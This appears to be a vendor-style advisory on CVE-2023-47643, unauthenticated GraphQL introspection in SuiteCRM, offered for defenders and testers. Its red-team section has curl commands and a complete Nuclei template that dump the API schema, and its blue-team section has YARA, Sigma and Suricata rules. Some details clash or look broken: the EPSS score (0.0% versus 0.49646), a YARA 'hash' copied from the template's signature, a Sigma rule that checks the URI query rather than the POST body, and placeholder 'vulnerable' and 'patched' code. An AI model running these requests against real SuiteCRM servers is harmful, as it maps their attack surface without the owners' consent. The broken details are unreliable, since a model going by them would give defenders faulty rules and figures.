CVE-2023-47643

Executive Summary

CVE-2023-47643 is a medium-severity information disclosure vulnerability affecting SuiteCRM, an open-source Customer Relationship Management (CRM) application. The vulnerability arises from the GraphQL introspection endpoint being enabled without authentication. This allows an unauthenticated attacker to query the GraphQL schema, revealing the complete API structure, including sensitive fields such as userHash. The exposure of the schema significantly reduces the barrier for further attacks, as it provides a detailed map of the API's attack surface. The vulnerability is patched in SuiteCRM version 8.4.2. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild, but the availability of a public Nuclei template increases the risk for targeted attacks.

Supply Chain & Package Security

SuiteCRM is a PHP-based application distributed via GitHub and Composer. The vulnerability is in the core application code, not in a third-party package. The patch is available in the official repository. Organizations using SuiteCRM should verify their version and apply the update immediately.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the direct impact is limited to information disclosure, the exposed schema can be used to identify and exploit other vulnerabilities, potentially leading to more severe outcomes.

Deep Dive & Mechanics

The vulnerability is rooted in the GraphQL API endpoint (/api/graphql) not requiring authentication for introspection queries. GraphQL introspection is a built-in feature that allows clients to query the schema of the API, including all types, fields, arguments, and directives. In a production environment, this feature should be disabled or protected by authentication to prevent information leakage.

The attack flow is as follows:

1. An attacker sends a standard HTTP GET request to the SuiteCRM root to obtain a CSRF token from the XSRF-TOKEN cookie.
2. The attacker then sends a POST request to /api/graphql with the X-XSRF-TOKEN header set to the obtained token and a JSON body containing a standard introspection query.
3. The server responds with the full GraphQL schema, including sensitive fields like userHash, authenticateId, and systemGeneratedPassword.

The exposed schema reveals the entire API surface, including mutations, queries, and their arguments. This information can be used to craft targeted attacks, such as brute-forcing user hashes or exploiting other API endpoints.

Vulnerable vs. Patched Code

Vulnerable Code (SuiteCRM < 8.4.2):

The GraphQL endpoint is configured without authentication middleware. The introspection query is processed and returns the schema.

// Vulnerable: No authentication check before processing introspection
$graphql = new GraphQL($schema);
$result = $graphql->executeQuery($query);

Patched Code (SuiteCRM >= 8.4.2):

The patch introduces authentication checks for the GraphQL endpoint, specifically disabling introspection for unauthenticated users.

// Patched: Authentication required for introspection
if (!authenticated()) {
    throw new \Exception('Unauthorized');
}
$graphql = new GraphQL($schema);
$result = $graphql->executeQuery($query);

The exact patch can be found in the SuiteCRM-Core repository on GitHub.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running SuiteCRM version < 8.4.2.
• Network access to the target.

Steps:

1. Obtain CSRF Token:

   curl -c cookies.txt http://target/
   

   Extract the XSRF-TOKEN value from the cookies.txt file.

2. Execute Introspection Query:

   curl -X POST http://target/api/graphql \
     -H "Content-Type: application/json" \
     -H "X-XSRF-TOKEN: <CSRF_TOKEN>" \
     -d '{"query":"query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { ...FullType } } } fragment FullType on __Type { kind name fields { name type { name } } }"}'
   

3. Analyze Response: The response will contain the full GraphQL schema. Look for sensitive fields like userHash, authenticateId, and systemGeneratedPassword.

Nuclei Template (Provided):

id: CVE-2023-47643

info:
  name: SuiteCRM Unauthenticated Graphql Introspection
  author: isacaya
  severity: medium
  description: |
    Graphql Introspection is enabled without authentication, exposing the scheme defining all object types, arguments, and functions.
  impact: |
    An attacker can obtain the GraphQL schema and understand the entire attack surface of the API, including sensitive fields such as UserHash.
  remediation: |
    Update to version 8.4.2.
  reference:
    - https://github.com/salesagility/SuiteCRM-Core/security/advisories/GHSA-fxww-jqfv-9rrr
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47643
    - https://www.apollographql.com/blog/graphql/security/why-you-should-disable-graphql-introspection-in-production/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-47643
    cwe-id: CWE-200
    epss-score: 0.49646
    epss-percentile: 0.97821
    cpe: cpe:2.3:a:salesagility:suitecrm:8.4.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: salesagility
    product: suitecrm
    shodan-query:
      - title:"SuiteCRM"
      - http.title:"suitecrm"
    fofa-query: title="suitecrm"
    google-query: intitle:"suitecrm"
  tags: cve,cve2023,graphql,suitecrm,introspection,salesagility,vkev,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /api/graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-XSRF-TOKEN: {{csrftoken}}

        {"query":"query IntrospectionQuery {\r\n      __schema {\r\n        \r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          \r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      \r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n      \r\n      \r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "userHash"
          - "authenticateId"
          - "systemGeneratedPassword"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrftoken
        group: 1
        part: header
        regex:
          - "XSRF-TOKEN=([^;]+)"
        internal: true
# digest: 490a0046304402207f275e8fa7729a7e75706ed1fa0f9ff3700f4a6f639eaf60e65fd3075d00c79c022079a97911d972ae074c719a1d686cb0911becfd2916d210db9cd30126f985449f:922c64590222798bb761d5b6d8e72950

Blue Team

Detection:

• Monitor for POST requests to /api/graphql with a body containing __schema or IntrospectionQuery.
• Alert on responses from /api/graphql that contain userHash, authenticateId, or systemGeneratedPassword.
• Use the provided Sigma and Suricata rules for automated detection.

Hunting:

• Search web server logs for requests to /api/graphql from IPs that are not part of the normal application flow.
• Review GraphQL query logs (if available) for introspection queries.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /api/graphql with a JSON body containing __schema or IntrospectionQuery.
  • HTTP responses from /api/graphql containing userHash, authenticateId, or systemGeneratedPassword.
• File System:
  • No specific file system IOCs.
• Logs:
  • Web server access logs showing requests to /api/graphql with a 200 status code and a large response body.

Detection Engineering

YARA Rule

rule CVE_2023_47643_SuiteCRM_GraphQL_Introspection {
    meta:
        description = "Detects GraphQL introspection queries targeting SuiteCRM"
        author = "Valters IT"
        date = "2024-05-24"
        reference = "CVE-2023-47643"
        hash = "490a0046304402207f275e8fa7729a7e75706ed1fa0f9ff3700f4a6f639eaf60e65fd3075d00c79c022079a97911d972ae074c719a1d686cb0911becfd2916d210db9cd30126f985449f"
    strings:
        $introspection_query = "__schema" ascii wide nocase
        $sensitive_field_1 = "userHash" ascii wide nocase
        $sensitive_field_2 = "authenticateId" ascii wide nocase
        $sensitive_field_3 = "systemGeneratedPassword" ascii wide nocase
    condition:
        $introspection_query and ($sensitive_field_1 or $sensitive_field_2 or $sensitive_field_3)
}

Sigma Rule

title: SuiteCRM GraphQL Introspection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2023-47643 by querying the GraphQL introspection endpoint.
author: Valters IT
date: 2024/05/24
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47643
    - https://github.com/salesagility/SuiteCRM-Core/security/advisories/GHSA-fxww-jqfv-9rrr
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/graphql'
        cs-uri-query|contains: '__schema'
    condition: selection
falsepositives:
    - Legitimate GraphQL development tools
level: medium
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2023.47643

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-47643 SuiteCRM GraphQL Introspection Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/graphql"; http_uri; content:"__schema"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade SuiteCRM to version 8.4.2 or later.
• If immediate upgrade is not possible, disable the GraphQL introspection feature by modifying the application code or using a web application firewall (WAF) to block requests containing __schema in the POST body to /api/graphql.

Long-term:

• Implement a security policy that requires authentication for all API endpoints, including GraphQL.
• Regularly review and update dependencies.
• Conduct periodic security assessments and penetration testing.

Valters IT

{/* [Security Hash: 663DC1E2299A5B1E5F51BD6D] */}